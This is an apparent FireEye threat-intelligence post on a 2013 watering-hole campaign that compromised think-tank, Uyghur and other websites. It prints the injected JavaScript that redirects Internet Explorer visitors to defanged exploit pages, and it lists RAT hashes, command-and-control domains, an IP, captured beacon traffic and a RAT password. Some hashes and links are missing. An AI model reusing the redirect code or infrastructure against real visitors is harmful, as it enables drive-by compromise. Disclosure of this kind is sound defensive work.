FireEye recently
identified another targeted attack campaign that leveraged both the
recently announced Internet Explorer zero-day,
as well as recently patched Java exploits
and
This campaign appears to have affected a number of victims based on
the use of the Internet Explorer zero-day as well as the amount of
traffic observed at making requests to the exploit server. This attack
was likely executed by an actor we have named the 'Sunshop Group'.
This actor was also responsible for the 2010 compromise of the Nobel
Peace Prize website that leverage a zero-day in Mozilla Firefox.
Impacted Sites
The campaign in question compromised a number of strategic websites including:
• Multiple Korean military and strategy think tanks
• A Uyghur news and discussion forum
• A science and technology policy journal
• A website for evangelical students
A call to a malicious javascript file hosted at
www[.]sunshop[.]com[.]tw was inserted into all of these compromised websites.
The Exploit Server
If a visitor to one of these compromised website was running
Internet Explorer 8.0 the malicious javascript would redirect them to
a page at www[.]sunshop[.]com[.]tw hosting a CVE-2013-1347 exploit.
Any other victims were redirected to a page that downloaded two
malicious jars.
if(browser=="Microsoft Internet
Explorer" && trim_Version=="MSIE8.0" && window.navigator.userLanguage.indexOf("en")>-1)
{
if(sys_Version=="WindowsNT5.1")
{
showexp("hxxp://www[.]sunshop[.]com[.]tw/xxxxxx/xxxxximg.html");
}
else
showexp("hxxp://www[.]sunshop[.]com[.]tw/xxxxxx/xxxxxxxmig.html");//J
}
else
showexp("hxxp://www[.]sunshop[.]com[.]tw/xxxxxx/xxxxxxxmig.html");//J
Dropped Payloads and C&C Infrastructure
The Internet Explorer (CVE-2013-1347) exploit code pulled down a
“9002” RAT from another compromised site at hk[.]sz181[.]com. This
payload had an MD5 of
and connected to a command and control server at dns[.]homesvr[.]tk.
The java exploits were packaged as two different jar files. One jar
file had a MD5 of f4bee1e845137531f18c226d118e06d7 and exploited
CVE-2013-2423. The second jar file had a MD5 of
and exploited CVE-2013-1493.
The jar that exploited CVE-2013-2423 dropped a 9002 RAT with a MD5
of d99ed31af1e0ad6fb5bf0f116063e91f. This RAT connected to a command
and control server at asp[.]homesvr[.]linkpc[.]net. The jar that
exploited CVE-2013-1493 dropped a 9002 RAT with a MD5 of
42bd5e7e8f74c15873ff0f4a9ce974cd. This RAT connected to a command and
control server at ssl[.]homesvr[.]tk.
All of the above 9002 command and control domains resolved to
58.64.205.53. We previously discussed the extensive use of this RAT in
other advanced persistent threat (APT) campaigns here.
Related Infrastructure
After further research into 58.64.205.53 with our friends at
Mandiant we uncovered a Briba sample with the MD5
6fe0f6e68cd9cc6ed7e100e7b3626665 that connected to this IP address. As
seen in this malwr report, the command and control domain of
nameserver1[.]zapto[.]org resolved to the same 58.64.205.53 IP address
on 2013-05-07. This Briba sample generated the following network
traffic to nameserver1[.]zapto[.]org over port 443:
POST /index000001021.asp HTTP/1.1
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;)
Host: update.microsoft.com
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 000041
For a detailed analysis of Briba please see Seth Hardy’s paper ‘
The exploit site at sunshop[.]com[.]tw previously hosted a different
malicious jar file on April 2, 2013. This jar file had a MD5 of
51aff823274e9d12b1a9a4bbbaf8ce00. It exploited CVE-2013-1493 and
dropped a Poison Ivy RAT with the MD5
This Poison Ivy RAT connected to a command and control server at
9ijhh45[.]zapto[.]org over port 443 using a password of ‘ult4life’.
This domain resolved to the same 58.64.205.53 IP between April 2nd and 8th.
Attribution
The Sunshop Group has utilized the same tactics described above in
previous targeted attack campaigns. These similar tactics include the
use of zero-day exploits, strategic web compromise as well as Briba malware.
One of the more prominent attacks launched by this group was the
compromise of the Nobel Peace Prize Committee’s website in 2010.This
attack leveraged a zero-day exploit targeting a previously unknown
vulnerability in Mozilla Firefox.
Another publicly documented attack exploited a Flash zero-day and
can be found
Mila at the Contagio Blog posted additional information on this attack
This attack dropped the same Briba payload discussed above.
FireEye detects the Briba backdoor as Backdoor.APT.IndexASP and the
9002 payloads as Trojan.APT.9002.
Malware
| CVE | scope="col">Exploit hash | scope="col">Payload hash | scope="col">Malware family | scope="col">C&C Host | scope="col">C&C IP |
|---|---|---|---|---|---|
CVE-2013-1347 | b0ef2ab86f160aa416184c09df8388fe | 9002 | 58.64.205.53 | ||
CVE-2013-2423 | d99ed31af1e0ad6fb5bf0f116063e91f | 9002 | 58.64.205.53 | ||
CVE-2013-1493 | 42bd5e7e8f74c15873ff0f4a9ce974cd | 9002 | 58.64.205.53 | ||
Unknown | Briba | 58.64.205.53 | |||
CVE-2013-1493 | 2B6605B89EAD179710565D1C2B614665 | Poison Ivy | 58.64.205.53 |